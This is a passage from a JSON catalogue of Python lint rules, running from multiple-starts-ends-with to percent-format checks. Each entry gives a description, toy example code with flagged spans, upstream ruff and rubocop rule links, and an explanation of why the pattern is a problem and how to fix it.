          18,
          26,
          27,
          29,
          35
        ],
        "spans": [
          {
            "column": 5,
            "length": 38,
            "line": 20
          },
          {
            "column": 5,
            "length": 46,
            "line": 21
          }
        ]
      },
      "fix": null,
      "id": "multiple-starts-ends-with",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PIE810",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PIE810/"
        }
      ],
      "why": "`startswith` and `endswith` accept a tuple of prefixes or suffixes, so one call with `(x, y)` says the same without repeating the name.\n\nTo fix, write `a.startswith((x, y))`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a compound statement whose body starts on the line of its colon, as in `if x: y()`. `def` and a lone `...` as the body are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "multiple-statements-on-one-line-colon",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E701",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E701/"
        }
      ],
      "why": "The body is easy to miss when it sits at the end of a long line, and a line breakpoint or coverage mark on the line cannot tell the condition from the body.\n\nTo fix, put the body on its own indented line."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports statements joined by `;` on one line.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 10,
            "length": 1,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "multiple-statements-on-one-line-semicolon",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E702",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E702/"
        }
      ],
      "why": "Each statement on its own line is one statement per diff line, per breakpoint and per coverage mark, and a reader of the code does not need to look for a second statement at the end of the line.\n\nTo fix, put each statement on its own line."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a parameter whose default is a list, dict or set: a literal, a comprehension, or a call of `list()`, `dict()`, `set()`, `collections.deque()` and the like. A parameter annotated with an immutable type is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          11,
          15,
          16,
          18,
          22,
          25,
          30
        ],
        "spans": [
          {
            "column": 9,
            "length": 2,
            "line": 7
          },
          {
            "column": 15,
            "length": 2,
            "line": 7
          },
          {
            "column": 21,
            "length": 5,
            "line": 7
          },
          {
            "column": 30,
            "length": 6,
            "line": 7
          },
          {
            "column": 40,
            "length": 19,
            "line": 7
          },
          {
            "column": 63,
            "length": 14,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "mutable-argument-default",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B006",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B006/"
        }
      ],
      "why": "The default is made once, when the function is defined, and every call that does not pass the argument shares it. A call that appends to `items=[]` changes the default for all later calls.\n\nTo fix, default to `None` and create the value in the body."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a class attribute assigned a list, dict, set or comprehension, or a call that builds one, with no `ClassVar` or `Final` annotation. Data classes, Pydantic models and named tuples are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 9,
            "length": 2,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "mutable-class-default",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "RUF012",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/RUF012/"
        }
      ],
      "why": "A class attribute belongs to the class and is shared by every instance. `self.items.append(x)` on one instance changes all of them, which is rarely meant.\n\nTo fix, create the value in `__init__`, or annotate the attribute `ClassVar` if sharing is the intent."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `if` that returns `True` or `False` and is followed, directly or in an `else`, by a return of the opposite boolean.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "needless-bool",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM103",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM103/"
        }
      ],
      "why": "The `if` only turns a condition into the bool it already is. The condition itself, or `bool(...)` of it, is the value, and the four lines hide that.\n\nTo fix, `return` the condition."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `not` applied to a comparison with `==`, as in `not a == b`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          9,
          12,
          13,
          14,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 10,
            "line": 8
          }
        ]
      },
      "fix": "unsafe",
      "id": "negate-equal-op",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM201",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM201/"
        }
      ],
      "why": "`!=` is the operator for that, and it reads without the reader inverting the comparison.\n\nTo fix, write `a != b`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `not` applied to a comparison with `!=`, as in `not a != b`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          12,
          13,
          14,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 10,
            "line": 9
          }
        ]
      },
      "fix": "unsafe",
      "id": "negate-not-equal-op",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM202",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM202/"
        }
      ],
      "why": "`==` is the operator for that, and it reads without the reader inverting the comparison.\n\nTo fix, write `a == b`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `with` whose only statement is another `with`, when both are sync or both are async.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "nested-with",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM117",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM117/"
        }
      ],
      "why": "One `with` can open several context managers (`with a, b:`), which saves an indent level and the long lines that nesting forces.\n\nTo fix, join the two into one `with`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `catch`, `except` or `rescue` clause that catches everything (a clause with no type, when the `bare` option is set) or one of the broad `types`, when it does not raise the error again and has no call that matches `handled`. Each language lists the broad types in its grammar's `rule` row.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A = B = 1\ntry:\n    pass\nexcept:\n    pass\nexcept A:\n    pass\ntry:\n    pass\nexcept (A, B):\n    pass\ntry:\n    pass\nexcept exit.Exception:\n    B = 2\nexcept (A, Exception):\n    B = 2\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 4
          },
          {
            "column": 1,
            "length": 1,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "no-broad-catch",
      "languages": [
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": true,
          "description": "A clause with no type is broad",
          "name": "bare",
          "type": "bool"
        },
        {
          "default": [],
          "description": "Types that are broad",
          "name": "types",
          "type": "list"
        },
        {
          "default": "^[A-Za-z_][A-Za-z0-9_.]*[.]exception[(]|exc_info[ ]*=[ ]*[^F ]",
          "description": "A call that handles the error (logs its traceback)",
          "name": "handled",
          "type": "string"
        }
      ],
      "presets": [
        "python/ruff",
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/RescueException",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintrescueexception"
        },
        {
          "id": "E722",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E722/"
        },
        {
          "id": "BLE001",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/BLE001/"
        }
      ],
      "why": "A broad clause also catches errors that the code did not expect, a typo that raises `NameError` or a user's interrupt, and turns them into a silent wrong result. The error is gone, and nobody learns that the program is broken.\n\nTo fix, name the exceptions the code can handle, or raise the error again after the handling."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `raise` or `throw` of one of the generic `types`, itself or a call of it. Each language lists the types in its grammar's `rule` row.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 33
          }
        ]
      },
      "fix": null,
      "id": "no-throw-generic",
      "languages": [
        "python"
      ],
      "options": [
        {
          "default": [
            "Exception"
          ],
          "description": "Generic exception types",
          "name": "types",
          "type": "list"
        }
      ],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "TRY002",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/TRY002/"
        }
      ],
      "why": "A caller cannot tell a generic exception from any other error, so it can only catch everything or nothing, and the generic type also catches errors from other code. A specific type lets a caller handle the case.\n\nTo fix, raise a specific exception: a built-in one that fits (`ValueError`), or a class of your own."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a comparison of a value to `None` with `==` or `!=`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = 1\nx == None\nx != None\nNone == x\nNone != x\nx is None\nx == 1\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 2
          },
          {
            "column": 1,
            "length": 9,
            "line": 3
          },
          {
            "column": 1,
            "length": 9,
            "line": 4
          },
          {
            "column": 1,
            "length": 9,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "none-comparison",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E711",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E711/"
        }
      ],
      "why": "`None` is a single object, and `is` and `is not` test for it. `==` calls `__eq__` of the other operand, which a class can define to return true for `None` (NumPy arrays compare element by element and return an array).\n\nTo fix, write `x is None` or `x is not None`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a membership test negated in front of the expression: `not a in b`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = 1\nnot a in b\nnot a not in b\na not in b\nnot (a in b)\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 2
          },
          {
            "column": 1,
            "length": 12,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "not-in-test",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E713",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E713/"
        }
      ],
      "why": "`a not in b` is the operator for it. The prefix form is the same test, but a reader may take it as `(not a) in b`.\n\nTo fix, write `a not in b`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an identity test negated in front of the expression: `not a is b`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = 1\nnot a is b\nnot a is not b\na is not b\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "not-is-test",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E714",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E714/"
        }
      ],
      "why": "`a is not b` is the operator for it. The prefix form is the same test, but a reader may take it as `(not a) is b`.\n\nTo fix, write `a is not b`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a call of `open` or `tempfile.NamedTemporaryFile` and the like that is not the context of a `with`, is not returned and is not given to `enter_context`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "open-file-without-with",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM115",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM115/"
        }
      ],
      "why": "A file that is not closed explicitly is closed when the object is freed, which depends on the interpreter and on references that remain, and on an error between the open and the close it stays open. Handles that stay open run a process out of descriptors, and buffered data may not be written.\n\nTo fix, open the file in a `with` statement."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `typing.Optional[...]` subscript when the `target_version` has `X | Y` (3.10 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 4,
            "length": 13,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "optional-annotation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP045",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP045/"
        }
      ],
      "why": "`Optional[X]` is a name for `X | None`, which the newer syntax writes without an import and in the same form as other unions. The name also suggests a parameter that may be left out, which it is not.\n\nTo fix, write `X | None`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `EnvironmentError`, `IOError`, `WindowsError`, `mmap.error`, `os.error`, `select.error` or `socket.error` in an `except` clause or a `raise`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import select\nimport socket\n\nBase = M = f = 1\n\n\nclass A(object):\n    pass\n\n\nclass B(Base, object, metaclass=M):\n    pass\n\n\nx = u\"a\" \"b\"\ny = f(u\"a\", \"b\")\n\ntry:\n    pass\nexcept IOError:\n    pass\nexcept (EnvironmentError, ValueError, socket.error):\n    pass\nexcept select.error:\n    pass\nraise IOError(\"x\")\nx = IOError\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          15,
          16,
          27
        ],
        "spans": [
          {
            "column": 8,
            "length": 7,
            "line": 20
          },
          {
            "column": 9,
            "length": 16,
            "line": 22
          },
          {
            "column": 39,
            "length": 12,
            "line": 22
          },
          {
            "column": 8,
            "length": 12,
            "line": 24
          },
          {
            "column": 7,
            "length": 7,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "os-error-alias",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP024",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP024/"
        }
      ],
      "why": "Since Python 3.3 these names are other names of `OSError`. Using the old ones makes a reader look for a difference that is not there.\n\nTo fix, write `OSError`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a test of `sys.version_info` against a version older than the `target_version`, or of `sys.version_info[0]` against a number.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 4,
            "length": 26,
            "line": 38
          }
        ]
      },
      "fix": null,
      "id": "outdated-version-block",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP036",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP036/"
        }
      ],
      "why": "For the target version the answer of the test is always the same, so one of the branches never runs and the other needs no test. It is a block that was kept after support for the old version ended.\n\nTo fix, remove the test and keep the branch that runs."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format that has named placeholders (`%(a)s`) applied to a tuple, list or set.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          6,
          7,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "percent-format-expected-mapping",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F502",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F502/"
        }
      ],
      "why": "Named placeholders look their value up in a mapping. With a tuple, Python raises `TypeError: format requires a mapping` when the line runs.\n\nTo fix, pass a dict, or use positional placeholders."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format that has several positional placeholders applied to a dict.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          7,
          8,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 6
          },
          {
            "column": 1,
            "length": 16,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "percent-format-expected-sequence",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F503",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F503/"
        }
      ],
      "why": "Positional placeholders take one value each from a tuple. A dict is taken as one value, so with two or more placeholders Python raises `TypeError: not enough arguments for format string`.\n\nTo fix, pass a tuple, or name the placeholders (`%(a)s`)."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format applied to a dict that has keys that no placeholder names.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 26,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "percent-format-extra-named-arguments",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F504",
          "partial": false,
          "tool": "ruff",
